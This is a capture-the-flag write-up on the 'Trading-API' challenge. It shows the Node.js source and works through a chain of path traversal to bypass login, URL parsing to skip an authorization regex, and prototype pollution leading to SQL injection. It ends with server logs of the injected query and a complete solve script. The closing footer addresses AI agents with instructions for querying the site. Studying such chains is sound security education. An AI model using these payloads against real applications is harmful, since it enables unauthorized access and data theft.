> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/trading-api.md).

# Trading-API

### Bypass Authorization with path traversal

{% tabs %}
{% tab title="authn.js" %}

```javascript
const got = require('got');
const jsonwebtoken = require('jsonwebtoken');
const uuid = require('uuid').v4;
const { getRequired, getOrDefault, getOrGenerate } = require('./config');

const AUTH_SERVICE = getOrDefault('AUTH_SERVICE', 'http://localhost:3001');
const AUTH_API_TOKEN = getRequired('AUTH_API_TOKEN');
const JWT_SECRET = getOrGenerate('JWT_SECRET', uuid);

async function login(req, res) {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).send('missing username or password');
    }

    try {
        const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
            headers: { authorization: AUTH_API_TOKEN },
            json: { password },
        });
        if (r.statusCode !== 200) {
            return res.status(401).send('wrong');
        }

        const jwt = jsonwebtoken.sign({ username }, JWT_SECRET);
        return res.json({ token: jwt });
    } catch (error) {
        return res.status(503).end('error');
    }
}

function authn(req, res, next) {
    const authHeader = req.header('authorization');
    if (!authHeader) {
        return res.status(400).send('missing auth token');
    }
    try {
        req.user = jsonwebtoken.verify(authHeader, JWT_SECRET);
        next();
    } catch (error) {
        return res.status(401).send('invalid auth token');
    }
}

module.exports = {
    login,
    authn,
};
```

{% endtab %}

{% tab title="server.js" %}

```javascript
const express = require('express');
const dotenv = require('dotenv');
const morgan = require('morgan');

const getOrDefault = (key, defaultValue) => {
    if (!process.env.hasOwnProperty(key)) {
        return defaultValue;
    }

    return process.env[key];
}
const getRequired = (key) => {
    if (!process.env.hasOwnProperty(key)) {
        console.error(`Missing config: ${key}`);
        process.exit(1);
    }

    return process.env[key];
};

dotenv.config();
const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3001');
const TOKEN = getRequired('TOKEN');
const CREDENTIALS = JSON.parse(getOrDefault('CREDENTIALS', '[]'));

const app = express();
app.use(morgan('dev'));
app.use(express.json());

const ensureValidToken = (req, res, next) => {
    const token = req.get('authorization') ?? null;
    if (token === null) {
        return res.status(400).end();
    }
    if (token !== TOKEN) {
        return res.status(401).end();
    }
    next();
};

const checkCredentials = (username, password) => {
    console.log(`Checking ${JSON.stringify(username)}:${JSON.stringify(password)}`);
    return CREDENTIALS.some(({ user, pass }) => username === user && password === pass);
};

app.all('/health', (req, res) => res.send('ok'));

app.post('/api/users/:username/auth', ensureValidToken, async (req, res) => {
    const { username } = req.params;
    const { password } = req.body;

    try {
        if (checkCredentials(username, password)) {
            return res.status(200).end();
        } else {
            return res.status(401).end();
        }
    } catch (error) {
        console.error(error);
        return res.status(500).end();
    }
});

app.listen(PORT, HOST, () => {
    console.log(`Listening on ${HOST}:${PORT}`);
});
```

{% endtab %}
{% endtabs %}

To succesfully bypass the `login` mechanism, we need a status code `200` from the `auth` component.

Looking at how the request is being made, we see the use of `encodeURI` which does not sanitize the input properly.

Therfore we can append `../` sequences to another api call present called `/health`, terminating it with a `#` character, which will allow us to bypass the login altogether.

### Bypassing authz with path normalization

We see the use of a middleware `authz` which is used to determine access to the `/api/priv/*` calls

```javascript
const express = require('express');
const morgan = require('morgan');

const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');

const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3000');

async function main() {
    const app = express();
    
    app.use(morgan('dev'));
    app.use(express.json());

    app.all('/health', (req, res) => res.send('ok'));
    
    // authentication
    app.post('/api/auth/login', login);
    app.use(authn);
    
    // authorization
    app.use(authz({
        userPermissions: new Map(Object.entries({
            warrenbuffett69: [Permissions.VERIFIED],
        })),
        routePermissions: [
            [/^\/+api\/+priv\//i, Permissions.VERIFIED],
        ],
    }));
    
    await registerApi(app);
    
    app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}

main();

```

Looking at `authz`, we see that it is validating `req.url` against the regex.

```javascript
const Permissions = {
    VERIFIED: 'verified',
};

function hasPermission(userPermissions, username, permission) {
    return userPermissions.get(username)?.includes(permission) ?? false;
}

function authz({ userPermissions, routePermissions }) {
    return (req, res, next) => {
        const { username } = req.user;
        for (const [regex, permission] of routePermissions) {
            console.log(req.url);
            if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) {
                return res.status(403).send('forbidden');
            }
        }
        next();
    };
}

module.exports = {
    Permissions,
    authz,
};

```

When applying a middleware, `req.url` strips the front part of the url, taking only the path.

For example,  if a user requests `http://example.com/users/profile?id=123`, then `req.url` would be `/users/profile?id=1.`

But `regex.test` is checking for whether req.url starts with /api/priv so if we send a url like `http://x/api/priv...`, it will resolve to `/api/priv..`. thus failing the regex check, allowing us to bypass the `hasPermission` call.

### SQLi with prototype pollution

Looking at the privileged path `/api/priv/assets/:asset/:action`, we see that we are able to specify the asset variable which leads to `transactions[asset][txId]` but `txId` seems to be randomly generated.

```javascript
app.put('/api/priv/assets/:asset/:action', async (req, res) => {
    const { username } = req.user
    
    const { asset, action } = req.params;
    if (/[^A-z]/.test(asset)) {
        return res.status(400).send('asset name must be letters only');
    }
    const assetTransactions = transactions[asset] ?? (transactions[asset] = {});
    // id is generated here (randomized)
    const txId = generateId();
    // assetTransactions is a map of txId to action transactions[asset][txId] = action 
    assetTransactions[txId] = action;
    
    try {
        await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1);
        res.json({ id: txId });
    } catch (error) {
        console.error('db error:', error.message);
        res.status(500).send('transaction failed');
    } finally {
        delete assetTransactions[txId];
    }
});

```

If we perform prototype pollution, we will have something like `transactions['__proto__'][randomId] = "Whatever we want"`

Looking at the way our statement is prepared, we see a permissive `sqlEscape` function which allows ASCII printable characters.\
It then set the escaped values to the keys with `replaceAll`.

If we overwrite the property of `txID` and set a placeholder in the query, `replaceAll` will substitute the value of  "Whatever we want" in the placeholder, allowing us to perform SQLi.

Let's see that in action.

```bash
POST /api/auth/login 200 41.600 ms - 171
http://z/api/priv/assets/__proto__/%27%29%2C%2831193%2C%20%28SELECT%20%2A%20FROM%20flag%29%2C1%2C1%29--
Escaped parameters: {
  amount: '-1',
  asset: "'__proto__'",
  username: "'../../../../health#?::txId'",
  txId: '108446613024694'
}
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '../../../../health#?::txId')
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?:108446613024694')  
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')
Executing transaction query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')
```

We see that it is replacing each of the set keys (E.g :txId, :asset etc) in the `for .. in loop`, and by setting the placeholder `::txId` in our username, we are able to set the placeholder `:108446613024694` whose value has been set earlier here `transactions['__proto__'][randomId] = action`

Piecing together a solve script, we get the flag.

```javascript
import requests
import socket

## Get token
url = "http://localhost:3000/api/auth/login"
data = {
    "username": "../../../../health#?::txId",
    "password": "password"
}
response = requests.post(url, json=data)
token = response.json().get("token")

host = "localhost"
port = 3000
asset = '__proto__'
action = "'),(31193, (SELECT * FROM flag),1,1)--"

# URL encode the action parameter
import urllib.parse
encoded_action = urllib.parse.quote(action, safe='')

# Correct HTTP request format
raw_request = f"""PUT http://z/api/priv/assets/{asset}/{encoded_action} HTTP/1.1\r
Host: {host}:{port}\r
Authorization: {token}\r
Content-Length: 0\r
Connection: close\r
\r
"""
print(raw_request)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.sendall(raw_request.encode())

# Receive full response
response = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    response += chunk

sock.close()

print(response.decode())



## Get token
headers = {"Authorization": token}

url = "http://localhost:3000/api/transactions/31193"
response = requests.get(url, headers=headers)
print(response.text)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/trading-api.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
